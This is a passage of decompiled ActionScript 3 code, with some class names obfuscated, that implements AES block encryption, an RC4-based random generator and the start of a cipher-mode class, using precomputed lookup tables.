        /*private*/ static const _Xtime2Sbox:Array = [198, 248, 238, 246, 0xFF, 214, 222, 145, 96, 2, 206, 86, 231, 181, 77, 236, 143, 31, 137, 250, 239, 178, 142, 251, 65, 179, 95, 69, 35, 83, 228, 155, 117, 225, 61, 76, 108, 126, 245, 131, 104, 81, 209, 249, 226, 171, 98, 42, 8, 149, 70, 157, 48, 55, 10, 47, 14, 36, 27, 223, 205, 78, 127, 234, 18, 29, 88, 52, 54, 220, 180, 91, 164, 118, 183, 125, 82, 221, 94, 19, 166, 185, 0, 193, 64, 227, 121, 182, 212, 141, 103, 114, 148, 152, 176, 133, 187, 197, 79, 237, 134, 154, 102, 17, 138, 233, 4, 254, 160, 120, 37, 75, 162, 93, 128, 5, 63, 33, 112, 241, 99, 119, 175, 66, 32, 229, 253, 191, 129, 24, 38, 195, 190, 53, 136, 46, 147, 85, 252, 122, 200, 186, 50, 230, 192, 25, 158, 163, 68, 84, 59, 11, 140, 199, 107, 40, 167, 188, 22, 173, 219, 100, 116, 20, 146, 12, 72, 184, 159, 189, 67, 196, 57, 49, 211, 242, 213, 139, 110, 218, 1, 177, 156, 73, 216, 172, 243, 207, 202, 244, 71, 16, 111, 240, 74, 92, 56, 87, 115, 151, 203, 161, 232, 62, 150, 97, 13, 15, 224, 124, 113, 204, 144, 6, 247, 28, 194, 106, 174, 105, 23, 153, 58, 39, 217, 235, 43, 34, 210, 169, 7, 51, 45, 60, 21, 201, 135, 170, 80, 165, 3, 89, 9, 26, 101, 215, 132, 208, 130, 41, 90, 30, 123, 168, 109, 44];
        /*private*/ static const _Xtime3Sbox:Array = [165, 132, 153, 141, 13, 189, 177, 84, 80, 3, 169, 125, 25, 98, 230, 154, 69, 157, 64, 135, 21, 235, 201, 11, 236, 103, 253, 234, 191, 247, 150, 91, 194, 28, 174, 106, 90, 65, 2, 79, 92, 244, 52, 8, 147, 115, 83, 63, 12, 82, 101, 94, 40, 161, 15, 181, 9, 54, 155, 61, 38, 105, 205, 159, 27, 158, 116, 46, 45, 178, 238, 251, 246, 77, 97, 206, 123, 62, 113, 151, 245, 104, 0, 44, 96, 31, 200, 237, 190, 70, 217, 75, 222, 212, 232, 74, 107, 42, 229, 22, 197, 215, 85, 148, 207, 16, 6, 129, 240, 68, 186, 227, 243, 254, 192, 138, 173, 188, 72, 4, 223, 193, 117, 99, 48, 26, 14, 109, 76, 20, 53, 47, 225, 162, 204, 57, 87, 242, 130, 71, 172, 231, 43, 149, 160, 152, 209, 127, 102, 126, 171, 131, 202, 41, 211, 60, 121, 226, 29, 118, 59, 86, 78, 30, 219, 10, 108, 228, 93, 110, 239, 166, 168, 164, 55, 139, 50, 67, 89, 183, 140, 100, 210, 224, 180, 250, 7, 37, 175, 142, 233, 24, 213, 136, 111, 114, 36, 241, 199, 81, 35, 124, 156, 33, 221, 220, 134, 133, 144, 66, 196, 170, 216, 5, 1, 18, 163, 95, 249, 208, 145, 88, 39, 185, 56, 19, 179, 51, 187, 112, 137, 167, 182, 34, 146, 32, 73, 0xFF, 120, 122, 143, 248, 128, 23, 218, 49, 198, 184, 195, 176, 119, 17, 203, 252, 214, 58];
        /*private*/ static const _Xtime2:Array = [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, 248, 250, 252, 254, 27, 25, 31, 29, 19, 17, 23, 21, 11, 9, 15, 13, 3, 1, 7, 5, 59, 57, 63, 61, 51, 49, 55, 53, 43, 41, 47, 45, 35, 33, 39, 37, 91, 89, 95, 93, 83, 81, 87, 85, 75, 73, 79, 77, 67, 65, 71, 69, 123, 121, 127, 125, 115, 113, 119, 117, 107, 105, 111, 109, 99, 97, 103, 101, 155, 153, 159, 157, 147, 145, 151, 149, 139, 137, 143, 141, 131, 129, 135, 133, 187, 185, 191, 189, 179, 177, 183, 181, 171, 169, 175, 173, 163, 161, 167, 165, 219, 217, 223, 221, 211, 209, 215, 213, 203, 201, 207, 205, 195, 193, 199, 197, 251, 249, 0xFF, 253, 243, 241, 247, 245, 235, 233, 239, 237, 227, 225, 231, 229];
        /*private*/ static const _Xtime9:Array = [0, 9, 18, 27, 36, 45, 54, 63, 72, 65, 90, 83, 108, 101, 126, 119, 144, 153, 130, 139, 180, 189, 166, 175, 216, 209, 202, 195, 252, 245, 238, 231, 59, 50, 41, 32, 31, 22, 13, 4, 115, 122, 97, 104, 87, 94, 69, 76, 171, 162, 185, 176, 143, 134, 157, 148, 227, 234, 241, 248, 199, 206, 213, 220, 118, 127, 100, 109, 82, 91, 64, 73, 62, 55, 44, 37, 26, 19, 8, 1, 230, 239, 244, 253, 194, 203, 208, 217, 174, 167, 188, 181, 138, 131, 152, 145, 77, 68, 95, 86, 105, 96, 123, 114, 5, 12, 23, 30, 33, 40, 51, 58, 221, 212, 207, 198, 249, 240, 235, 226, 149, 156, 135, 142, 177, 184, 163, 170, 236, 229, 254, 247, 200, 193, 218, 211, 164, 173, 182, 191, 128, 137, 146, 155, 124, 117, 110, 103, 88, 81, 74, 67, 52, 61, 38, 47, 16, 25, 2, 11, 215, 222, 197, 204, 243, 250, 225, 232, 159, 150, 141, 132, 187, 178, 169, 160, 71, 78, 85, 92, 99, 106, 113, 120, 15, 6, 29, 20, 43, 34, 57, 48, 154, 147, 136, 129, 190, 183, 172, 165, 210, 219, 192, 201, 246, 0xFF, 228, 237, 10, 3, 24, 17, 46, 39, 60, 53, 66, 75, 80, 89, 102, 111, 116, 125, 161, 168, 179, 186, 133, 140, 151, 158, 233, 224, 251, 242, 205, 196, 223, 214, 49, 56, 35, 42, 21, 28, 7, 14, 121, 112, 107, 98, 93, 84, 79, 70];
        /*private*/ static const _XtimeB:Array = [0, 11, 22, 29, 44, 39, 58, 49, 88, 83, 78, 69, 116, 127, 98, 105, 176, 187, 166, 173, 156, 151, 138, 129, 232, 227, 254, 245, 196, 207, 210, 217, 123, 112, 109, 102, 87, 92, 65, 74, 35, 40, 53, 62, 15, 4, 25, 18, 203, 192, 221, 214, 231, 236, 241, 250, 147, 152, 133, 142, 191, 180, 169, 162, 246, 253, 224, 235, 218, 209, 204, 199, 174, 165, 184, 179, 130, 137, 148, 159, 70, 77, 80, 91, 106, 97, 124, 119, 30, 21, 8, 3, 50, 57, 36, 47, 141, 134, 155, 144, 161, 170, 183, 188, 213, 222, 195, 200, 249, 242, 239, 228, 61, 54, 43, 32, 17, 26, 7, 12, 101, 110, 115, 120, 73, 66, 95, 84, 247, 252, 225, 234, 219, 208, 205, 198, 175, 164, 185, 178, 131, 136, 149, 158, 71, 76, 81, 90, 107, 96, 125, 118, 31, 20, 9, 2, 51, 56, 37, 46, 140, 135, 154, 145, 160, 171, 182, 189, 212, 223, 194, 201, 248, 243, 238, 229, 60, 55, 42, 33, 16, 27, 6, 13, 100, 111, 114, 121, 72, 67, 94, 85, 1, 10, 23, 28, 45, 38, 59, 48, 89, 82, 79, 68, 117, 126, 99, 104, 177, 186, 167, 172, 157, 150, 139, 128, 233, 226, 0xFF, 244, 197, 206, 211, 216, 122, 113, 108, 103, 86, 93, 64, 75, 34, 41, 52, 63, 14, 5, 24, 19, 202, 193, 220, 215, 230, 237, 240, 251, 146, 153, 132, 143, 190, 181, 168, 163];
        /*private*/ static const _XtimeD:Array = [0, 13, 26, 23, 52, 57, 46, 35, 104, 101, 114, 127, 92, 81, 70, 75, 208, 221, 202, 199, 228, 233, 254, 243, 184, 181, 162, 175, 140, 129, 150, 155, 187, 182, 161, 172, 143, 130, 149, 152, 211, 222, 201, 196, 231, 234, 253, 240, 107, 102, 113, 124, 95, 82, 69, 72, 3, 14, 25, 20, 55, 58, 45, 32, 109, 96, 119, 122, 89, 84, 67, 78, 5, 8, 31, 18, 49, 60, 43, 38, 189, 176, 167, 170, 137, 132, 147, 158, 213, 216, 207, 194, 225, 236, 251, 246, 214, 219, 204, 193, 226, 239, 248, 245, 190, 179, 164, 169, 138, 135, 144, 157, 6, 11, 28, 17, 50, 63, 40, 37, 110, 99, 116, 121, 90, 87, 64, 77, 218, 215, 192, 205, 238, 227, 244, 249, 178, 191, 168, 165, 134, 139, 156, 145, 10, 7, 16, 29, 62, 51, 36, 41, 98, 111, 120, 117, 86, 91, 76, 65, 97, 108, 123, 118, 85, 88, 79, 66, 9, 4, 19, 30, 61, 48, 39, 42, 177, 188, 171, 166, 133, 136, 159, 146, 217, 212, 195, 206, 237, 224, 247, 250, 183, 186, 173, 160, 131, 142, 153, 148, 223, 210, 197, 200, 235, 230, 241, 252, 103, 106, 125, 112, 83, 94, 73, 68, 15, 2, 21, 24, 59, 54, 33, 44, 12, 1, 22, 27, 56, 53, 34, 47, 100, 105, 126, 115, 80, 93, 74, 71, 220, 209, 198, 203, 232, 229, 242, 0xFF, 180, 185, 174, 163, 128, 141, 154, 151];
        /*private*/ static const _XtimeE:Array = [0, 14, 28, 18, 56, 54, 36, 42, 112, 126, 108, 98, 72, 70, 84, 90, 224, 238, 252, 242, 216, 214, 196, 202, 144, 158, 140, 130, 168, 166, 180, 186, 219, 213, 199, 201, 227, 237, 0xFF, 241, 171, 165, 183, 185, 147, 157, 143, 129, 59, 53, 39, 41, 3, 13, 31, 17, 75, 69, 87, 89, 115, 125, 111, 97, 173, 163, 177, 191, 149, 155, 137, 135, 221, 211, 193, 207, 229, 235, 249, 247, 77, 67, 81, 95, 117, 123, 105, 103, 61, 51, 33, 47, 5, 11, 25, 23, 118, 120, 106, 100, 78, 64, 82, 92, 6, 8, 26, 20, 62, 48, 34, 44, 150, 152, 138, 132, 174, 160, 178, 188, 230, 232, 250, 244, 222, 208, 194, 204, 65, 79, 93, 83, 121, 119, 101, 107, 49, 63, 45, 35, 9, 7, 21, 27, 161, 175, 189, 179, 153, 151, 133, 139, 209, 223, 205, 195, 233, 231, 245, 251, 154, 148, 134, 136, 162, 172, 190, 176, 234, 228, 246, 248, 210, 220, 206, 192, 122, 116, 102, 104, 66, 76, 94, 80, 10, 4, 22, 24, 50, 60, 46, 32, 236, 226, 240, 254, 212, 218, 200, 198, 156, 146, 128, 142, 164, 170, 184, 182, 12, 2, 16, 30, 52, 58, 40, 38, 124, 114, 96, 110, 68, 74, 88, 86, 55, 57, 43, 37, 15, 1, 19, 29, 71, 73, 91, 85, 127, 113, 99, 109, 215, 217, 203, 197, 239, 225, 243, 253, 167, 169, 187, 181, 159, 145, 131, 141];
        /*private*/ static var _Rcon:Array = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54];
        /*private*/ static var Sbox:ByteArray;
        /*private*/ static var InvSbox:ByteArray;
        /*private*/ static var Xtime2Sbox:ByteArray;
        /*private*/ static var Xtime3Sbox:ByteArray;
        /*private*/ static var Xtime2:ByteArray;
        /*private*/ static var Xtime9:ByteArray;
        /*private*/ static var XtimeB:ByteArray;
        /*private*/ static var XtimeD:ByteArray;
        /*private*/ static var XtimeE:ByteArray;
        /*private*/ static var Rcon:ByteArray;
        /*private*/ static var i:uint;
    
        /*private*/ var key:ByteArray;
        /*private*/ var keyLength:uint;
        /*private*/ var Nr:uint;
        /*private*/ var state:ByteArray;
        /*private*/ var tmp:ByteArray;
    
        {
            Sbox = new ByteArray();
            InvSbox = new ByteArray();
            Xtime2Sbox = new ByteArray();
            Xtime3Sbox = new ByteArray();
            Xtime2 = new ByteArray();
            Xtime9 = new ByteArray();
            XtimeB = new ByteArray();
            XtimeD = new ByteArray();
            XtimeE = new ByteArray();
            i = 0;
            while (i < 0x0100) {
                Sbox[i] = _Sbox[i];
                InvSbox[i] = _InvSbox[i];
                Xtime2Sbox[i] = _Xtime2Sbox[i];
                Xtime3Sbox[i] = _Xtime3Sbox[i];
                Xtime2[i] = _Xtime2[i];
                Xtime9[i] = _Xtime9[i];
                XtimeB[i] = _XtimeB[i];
                XtimeD[i] = _XtimeD[i];
                XtimeE[i] = _XtimeE[i];
                i++;
            };
            Rcon = new ByteArray();
            i = 0;
            while (i < _Rcon.length) {
                Rcon[i] = _Rcon[i];
                i++;
            };
        }
    
        public function _SELMGXIGHEE(_arg_1:ByteArray)
        {
            this.tmp = new ByteArray();
            this.state = new ByteArray();
            this.keyLength = _arg_1.length;
            this.key = new ByteArray();
            this.key.writeBytes(_arg_1);
            this.expandKey();
        }
    
        /*private*/ function expandKey():void
        {
            var _local_1:uint;
            var _local_2:uint;
            var _local_3:uint;
            var _local_4:uint;
            var _local_5:uint;
            var _local_6:uint;
            var _local_7:uint;
            _local_7 = (this.key.length / 4);
            this.Nr = (_local_7 + 6);
            _local_6 = _local_7;
            while (_local_6 < (Nb * (this.Nr + 1))) {
                _local_1 = this.key[((4 * _local_6) - 4)];
                _local_2 = this.key[((4 * _local_6) - 3)];
                _local_3 = this.key[((4 * _local_6) - 2)];
                _local_4 = this.key[((4 * _local_6) - 1)];
                if (!(_local_6 % _local_7)){
                    _local_5 = _local_4;
                    _local_4 = Sbox[_local_1];
                    _local_1 = (Sbox[_local_2] ^ Rcon[(_local_6 / _local_7)]);
                    _local_2 = Sbox[_local_3];
                    _local_3 = Sbox[_local_5];
                }
                else {
                    if ((((_local_7 > 6)) && (((_local_6 % _local_7) == 4)))){
                        _local_1 = Sbox[_local_1];
                        _local_2 = Sbox[_local_2];
                        _local_3 = Sbox[_local_3];
                        _local_4 = Sbox[_local_4];
                    };
                };
                this.key[((4 * _local_6) + 0)] = (this.key[(((4 * _local_6) - (4 * _local_7)) + 0)] ^ _local_1);
                this.key[((4 * _local_6) + 1)] = (this.key[(((4 * _local_6) - (4 * _local_7)) + 1)] ^ _local_2);
                this.key[((4 * _local_6) + 2)] = (this.key[(((4 * _local_6) - (4 * _local_7)) + 2)] ^ _local_3);
                this.key[((4 * _local_6) + 3)] = (this.key[(((4 * _local_6) - (4 * _local_7)) + 3)] ^ _local_4);
                _local_6++;
            };
        }
    
        public function getBlockSize():uint
        {
            return (16);
        }
    
        public function encrypt(_arg_1:ByteArray, _arg_2:uint=0):void
        {
            var _local_3:uint;
            this.state.position = 0;
            this.state.writeBytes(_arg_1, _arg_2, (Nb * 4));
            this.addRoundKey(this.key, 0);
            _local_3 = 1;
            while (_local_3 < (this.Nr + 1)) {
                if (_local_3 < this.Nr){
                    this.mixSubColumns();
                }
                else {
                    this.shiftRows();
                };
                this.addRoundKey(this.key, ((_local_3 * Nb) * 4));
                _local_3++;
            };
            _arg_1.position = _arg_2;
            _arg_1.writeBytes(this.state);
        }
    
        public function decrypt(_arg_1:ByteArray, _arg_2:uint=0):void
        {
            var _local_3:uint;
            this.state.position = 0;
            this.state.writeBytes(_arg_1, _arg_2, (Nb * 4));
            this.addRoundKey(this.key, ((this.Nr * Nb) * 4));
            this.invShiftRows();
            _local_3 = this.Nr;
            while (_local_3--) {
                this.addRoundKey(this.key, ((_local_3 * Nb) * 4));
                if (_local_3){
                    this.invMixSubColumns();
                };
            };
            _arg_1.position = _arg_2;
            _arg_1.writeBytes(this.state);
        }
    
        public function dispose():void
        {
            var _local_1:uint;
            var _local_2:Random;
            _local_2 = new Random();
            _local_1 = 0;
            while (_local_1 < this.key.length) {
                this.key[_local_1] = _local_2.nextByte();
                _local_1++;
            };
            this.Nr = _local_2.nextByte();
            _local_1 = 0;
            while (_local_1 < this.state.length) {
                this.state[_local_1] = _local_2.nextByte();
                _local_1++;
            };
            _local_1 = 0;
            while (_local_1 < this.tmp.length) {
                this.tmp[_local_1] = _local_2.nextByte();
                _local_1++;
            };
            this.key.length = 0;
            this.keyLength = 0;
            this.state.length = 0;
            this.tmp.length = 0;
            this.key = null;
            this.state = null;
            this.tmp = null;
            this.Nr = 0;
            Memory.gc();
        }
    
        protected function shiftRows():void
        {
            var _local_1:uint;
            this.state[0] = Sbox[this.state[0]];
            this.state[4] = Sbox[this.state[4]];
            this.state[8] = Sbox[this.state[8]];
            this.state[12] = Sbox[this.state[12]];
            _local_1 = Sbox[this.state[1]];
            this.state[1] = Sbox[this.state[5]];
            this.state[5] = Sbox[this.state[9]];
            this.state[9] = Sbox[this.state[13]];
            this.state[13] = _local_1;
            _local_1 = Sbox[this.state[2]];
            this.state[2] = Sbox[this.state[10]];
            this.state[10] = _local_1;
            _local_1 = Sbox[this.state[6]];
            this.state[6] = Sbox[this.state[14]];
            this.state[14] = _local_1;
            _local_1 = Sbox[this.state[15]];
            this.state[15] = Sbox[this.state[11]];
            this.state[11] = Sbox[this.state[7]];
            this.state[7] = Sbox[this.state[3]];
            this.state[3] = _local_1;
        }
    
        protected function invShiftRows():void
        {
            var _local_1:uint;
            this.state[0] = InvSbox[this.state[0]];
            this.state[4] = InvSbox[this.state[4]];
            this.state[8] = InvSbox[this.state[8]];
            this.state[12] = InvSbox[this.state[12]];
            _local_1 = InvSbox[this.state[13]];
            this.state[13] = InvSbox[this.state[9]];
            this.state[9] = InvSbox[this.state[5]];
            this.state[5] = InvSbox[this.state[1]];
            this.state[1] = _local_1;
            _local_1 = InvSbox[this.state[2]];
            this.state[2] = InvSbox[this.state[10]];
            this.state[10] = _local_1;
            _local_1 = InvSbox[this.state[6]];
            this.state[6] = InvSbox[this.state[14]];
            this.state[14] = _local_1;
            _local_1 = InvSbox[this.state[3]];
            this.state[3] = InvSbox[this.state[7]];
            this.state[7] = InvSbox[this.state[11]];
            this.state[11] = InvSbox[this.state[15]];
            this.state[15] = _local_1;
        }
    
        protected function mixSubColumns():void
        {
            this.tmp.length = 0;
            this.tmp[0] = (((Xtime2Sbox[this.state[0]] ^ Xtime3Sbox[this.state[5]]) ^ Sbox[this.state[10]]) ^ Sbox[this.state[15]]);
            this.tmp[1] = (((Sbox[this.state[0]] ^ Xtime2Sbox[this.state[5]]) ^ Xtime3Sbox[this.state[10]]) ^ Sbox[this.state[15]]);
            this.tmp[2] = (((Sbox[this.state[0]] ^ Sbox[this.state[5]]) ^ Xtime2Sbox[this.state[10]]) ^ Xtime3Sbox[this.state[15]]);
            this.tmp[3] = (((Xtime3Sbox[this.state[0]] ^ Sbox[this.state[5]]) ^ Sbox[this.state[10]]) ^ Xtime2Sbox[this.state[15]]);
            this.tmp[4] = (((Xtime2Sbox[this.state[4]] ^ Xtime3Sbox[this.state[9]]) ^ Sbox[this.state[14]]) ^ Sbox[this.state[3]]);
            this.tmp[5] = (((Sbox[this.state[4]] ^ Xtime2Sbox[this.state[9]]) ^ Xtime3Sbox[this.state[14]]) ^ Sbox[this.state[3]]);
            this.tmp[6] = (((Sbox[this.state[4]] ^ Sbox[this.state[9]]) ^ Xtime2Sbox[this.state[14]]) ^ Xtime3Sbox[this.state[3]]);
            this.tmp[7] = (((Xtime3Sbox[this.state[4]] ^ Sbox[this.state[9]]) ^ Sbox[this.state[14]]) ^ Xtime2Sbox[this.state[3]]);
            this.tmp[8] = (((Xtime2Sbox[this.state[8]] ^ Xtime3Sbox[this.state[13]]) ^ Sbox[this.state[2]]) ^ Sbox[this.state[7]]);
            this.tmp[9] = (((Sbox[this.state[8]] ^ Xtime2Sbox[this.state[13]]) ^ Xtime3Sbox[this.state[2]]) ^ Sbox[this.state[7]]);
            this.tmp[10] = (((Sbox[this.state[8]] ^ Sbox[this.state[13]]) ^ Xtime2Sbox[this.state[2]]) ^ Xtime3Sbox[this.state[7]]);
            this.tmp[11] = (((Xtime3Sbox[this.state[8]] ^ Sbox[this.state[13]]) ^ Sbox[this.state[2]]) ^ Xtime2Sbox[this.state[7]]);
            this.tmp[12] = (((Xtime2Sbox[this.state[12]] ^ Xtime3Sbox[this.state[1]]) ^ Sbox[this.state[6]]) ^ Sbox[this.state[11]]);
            this.tmp[13] = (((Sbox[this.state[12]] ^ Xtime2Sbox[this.state[1]]) ^ Xtime3Sbox[this.state[6]]) ^ Sbox[this.state[11]]);
            this.tmp[14] = (((Sbox[this.state[12]] ^ Sbox[this.state[1]]) ^ Xtime2Sbox[this.state[6]]) ^ Xtime3Sbox[this.state[11]]);
            this.tmp[15] = (((Xtime3Sbox[this.state[12]] ^ Sbox[this.state[1]]) ^ Sbox[this.state[6]]) ^ Xtime2Sbox[this.state[11]]);
            this.state.position = 0;
            this.state.writeBytes(this.tmp, 0, (Nb * 4));
        }
    
        protected function invMixSubColumns():void
        {
            var _local_1:uint;
            this.tmp.length = 0;
            this.tmp[0] = (((XtimeE[this.state[0]] ^ XtimeB[this.state[1]]) ^ XtimeD[this.state[2]]) ^ Xtime9[this.state[3]]);
            this.tmp[5] = (((Xtime9[this.state[0]] ^ XtimeE[this.state[1]]) ^ XtimeB[this.state[2]]) ^ XtimeD[this.state[3]]);
            this.tmp[10] = (((XtimeD[this.state[0]] ^ Xtime9[this.state[1]]) ^ XtimeE[this.state[2]]) ^ XtimeB[this.state[3]]);
            this.tmp[15] = (((XtimeB[this.state[0]] ^ XtimeD[this.state[1]]) ^ Xtime9[this.state[2]]) ^ XtimeE[this.state[3]]);
            this.tmp[4] = (((XtimeE[this.state[4]] ^ XtimeB[this.state[5]]) ^ XtimeD[this.state[6]]) ^ Xtime9[this.state[7]]);
            this.tmp[9] = (((Xtime9[this.state[4]] ^ XtimeE[this.state[5]]) ^ XtimeB[this.state[6]]) ^ XtimeD[this.state[7]]);
            this.tmp[14] = (((XtimeD[this.state[4]] ^ Xtime9[this.state[5]]) ^ XtimeE[this.state[6]]) ^ XtimeB[this.state[7]]);
            this.tmp[3] = (((XtimeB[this.state[4]] ^ XtimeD[this.state[5]]) ^ Xtime9[this.state[6]]) ^ XtimeE[this.state[7]]);
            this.tmp[8] = (((XtimeE[this.state[8]] ^ XtimeB[this.state[9]]) ^ XtimeD[this.state[10]]) ^ Xtime9[this.state[11]]);
            this.tmp[13] = (((Xtime9[this.state[8]] ^ XtimeE[this.state[9]]) ^ XtimeB[this.state[10]]) ^ XtimeD[this.state[11]]);
            this.tmp[2] = (((XtimeD[this.state[8]] ^ Xtime9[this.state[9]]) ^ XtimeE[this.state[10]]) ^ XtimeB[this.state[11]]);
            this.tmp[7] = (((XtimeB[this.state[8]] ^ XtimeD[this.state[9]]) ^ Xtime9[this.state[10]]) ^ XtimeE[this.state[11]]);
            this.tmp[12] = (((XtimeE[this.state[12]] ^ XtimeB[this.state[13]]) ^ XtimeD[this.state[14]]) ^ Xtime9[this.state[15]]);
            this.tmp[1] = (((Xtime9[this.state[12]] ^ XtimeE[this.state[13]]) ^ XtimeB[this.state[14]]) ^ XtimeD[this.state[15]]);
            this.tmp[6] = (((XtimeD[this.state[12]] ^ Xtime9[this.state[13]]) ^ XtimeE[this.state[14]]) ^ XtimeB[this.state[15]]);
            this.tmp[11] = (((XtimeB[this.state[12]] ^ XtimeD[this.state[13]]) ^ Xtime9[this.state[14]]) ^ XtimeE[this.state[15]]);
            _local_1 = 0;
            while (_local_1 < (4 * Nb)) {
                this.state[_local_1] = InvSbox[this.tmp[_local_1]];
                _local_1++;
            };
        }
    
        protected function addRoundKey(_arg_1:ByteArray, _arg_2:uint):void
        {
            var _local_3:uint;
            _local_3 = 0;
            while (_local_3 < 16) {
                this.state[_local_3] = (this.state[_local_3] ^ _arg_1[(_local_3 + _arg_2)]);
                _local_3++;
            };
        }
    
        public function toString():String
        {
            return (("aes" + (8 * this.keyLength)));
        }
    
    
    }
    class Random 
    {
    
        /*private*/ var state:IPRNG;
        /*private*/ var ready:Boolean = false;
        /*private*/ var pool:ByteArray;
        /*private*/ var psize:int;
        /*private*/ var pptr:int;
        /*private*/ var seeded:Boolean = false;
    
        public function Random(_arg_1:Class=null)
        {
            var _local_2:uint;
            super();
            if (_arg_1 == null){
                _arg_1 = ARC4;
            };
            this.state = (new (_arg_1)() as IPRNG);
            this.psize = this.state.getPoolSize();
            this.pool = new ByteArray();
            this.pptr = 0;
            while (this.pptr < this.psize) {
                _local_2 = (65536 * Math.random());
                var _local_3 = this.pptr++;
                this.pool[_local_3] = (_local_2 >>> 8);
                var _local_4 = this.pptr++;
                this.pool[_local_4] = (_local_2 & 0xFF);
            };
            this.pptr = 0;
            this.seed();
        }
    
        public function seed(_arg_1:int=0):void
        {
            if (_arg_1 == 0){
                _arg_1 = new Date().getTime();
            };
            var _local_2 = this.pptr++;
            this.pool[_local_2] = (this.pool[_local_2] ^ (_arg_1 & 0xFF));
            var _local_3 = this.pptr++;
            this.pool[_local_3] = (this.pool[_local_3] ^ ((_arg_1 >> 8) & 0xFF));
            var _local_4 = this.pptr++;
            this.pool[_local_4] = (this.pool[_local_4] ^ ((_arg_1 >> 16) & 0xFF));
            var _local_5 = this.pptr++;
            this.pool[_local_5] = (this.pool[_local_5] ^ ((_arg_1 >> 24) & 0xFF));
            this.pptr = (this.pptr % this.psize);
            this.seeded = true;
        }
    
        public function autoSeed():void
        {
            var _local_3:Font;
            var _local_1:ByteArray = new ByteArray();
            _local_1.writeUnsignedInt(System.totalMemory);
            _local_1.writeUTF(Capabilities.serverString);
            _local_1.writeUnsignedInt(getTimer());
            _local_1.writeUnsignedInt(new Date().getTime());
            var _local_2:Array = Font.enumerateFonts(true);
            for each (_local_3 in _local_2) {
                _local_1.writeUTF(_local_3.fontName);
                _local_1.writeUTF(_local_3.fontStyle);
                _local_1.writeUTF(_local_3.fontType);
            };
            _local_1.position = 0;
            while (_local_1.bytesAvailable >= 4) {
                this.seed(_local_1.readUnsignedInt());
            };
        }
    
        public function nextBytes(_arg_1:ByteArray, _arg_2:int):void
        {
            while (_arg_2--) {
                _arg_1.writeByte(this.nextByte());
            };
        }
    
        public function nextByte():int
        {
            if (!this.ready){
                if (!this.seeded){
                    this.autoSeed();
                };
                this.state.init(this.pool);
                this.pool.length = 0;
                this.pptr = 0;
                this.ready = true;
            };
            return (this.state.next());
        }
    
        public function dispose():void
        {
            var _local_1:uint;
            while (_local_1 < this.pool.length) {
                this.pool[_local_1] = (Math.random() * 0x0100);
                _local_1++;
            };
            this.pool.length = 0;
            this.pool = null;
            this.state.dispose();
            this.state = null;
            this.psize = 0;
            this.pptr = 0;
            Memory.gc();
        }
    
        public function toString():String
        {
            return (("random-" + this.state.toString()));
        }
    
    
    }
    class ARC4 implements IPRNG, IStreamCipher 
    {
    
        /*private*/ const psize:uint = 0x0100;
    
        /*private*/ var i:int = 0;
        /*private*/ var j:int = 0;
        /*private*/ var S:ByteArray;
    
        public function ARC4(_arg_1:ByteArray=null)
        {
            this.S = new ByteArray();
            if (_arg_1){
                this.init(_arg_1);
            };
        }
    
        public function getPoolSize():uint
        {
            return (this.psize);
        }
    
        public function init(_arg_1:ByteArray):void
        {
            var _local_2:int;
            var _local_3:int;
            var _local_4:int;
            _local_2 = 0;
            while (_local_2 < 0x0100) {
                this.S[_local_2] = _local_2;
                _local_2++;
            };
            _local_3 = 0;
            _local_2 = 0;
            while (_local_2 < 0x0100) {
                _local_3 = (((_local_3 + this.S[_local_2]) + _arg_1[(_local_2 % _arg_1.length)]) & 0xFF);
                _local_4 = this.S[_local_2];
                this.S[_local_2] = this.S[_local_3];
                this.S[_local_3] = _local_4;
                _local_2++;
            };
            this.i = 0;
            this.j = 0;
        }
    
        public function next():uint
        {
            var _local_1:int;
            this.i = ((this.i + 1) & 0xFF);
            this.j = ((this.j + this.S[this.i]) & 0xFF);
            _local_1 = this.S[this.i];
            this.S[this.i] = this.S[this.j];
            this.S[this.j] = _local_1;
            return (this.S[((_local_1 + this.S[this.i]) & 0xFF)]);
        }
    
        public function getBlockSize():uint
        {
            return (1);
        }
    
        public function encrypt(_arg_1:ByteArray):void
        {
            var _local_2:uint;
            _local_2 = 0;
            while (_local_2 < _arg_1.length) {
                var _local_3 = _local_2++;
                _arg_1[_local_3] = (_arg_1[_local_3] ^ this.next());
            };
        }
    
        public function decrypt(_arg_1:ByteArray):void
        {
            this.encrypt(_arg_1);
        }
    
        public function dispose():void
        {
            var _local_1:uint;
            _local_1 = 0;
            if (this.S != null){
                _local_1 = 0;
                while (_local_1 < this.S.length) {
                    this.S[_local_1] = (Math.random() * 0x0100);
                    _local_1++;
                };
                this.S.length = 0;
                this.S = null;
            };
            this.i = 0;
            this.j = 0;
            Memory.gc();
        }
    
        public function toString():String
        {
            return ("rc4");
        }
    
    
    }
    class IVMode 
    {
    
        protected var key;
        protected var padding:IPad;
        protected var prng:Random;
        protected var iv:ByteArray;
        protected var lastIV:ByteArray;
        protected var blockSize:uint;
    
        public function IVMode(_arg_1:*, _arg_2:IPad=null)
        {
            this.key = _arg_1;
            this.blockSize = _arg_1.getBlockSize();
            if (_arg_2 == null){
                _arg_2 = new _SEWEGXWIEEM(this.blockSize);
            }
            else {
                _arg_2.setBlockSize(this.blockSize);
            };
            this.padding = _arg_2;
            this.prng = new Random();
            this.iv = null;
            this.lastIV = new ByteArray();
        }
    
        public function getBlockSize():uint
        {
            return (this.key.getBlockSize());
        }
    
        public function dispose():void
        {
            var _local_1:uint;
            if (this.iv != null){
                _local_1 = 0;
                while (_local_1 < this.iv.length) {
                    this.iv[_local_1] = this.prng.nextByte();
                    _local_1++;
                };
                this.iv.length = 0;
                this.iv = null;
            };
            if (this.lastIV != null){
                _local_1 = 0;
                while (_local_1 < this.iv.length) {
                    this.lastIV[_local_1] = this.prng.nextByte();
                    _local_1++;
                };
                this.lastIV.length = 0;
                this.lastIV = null;
            };
            this.key.dispose();
            this.key = null;
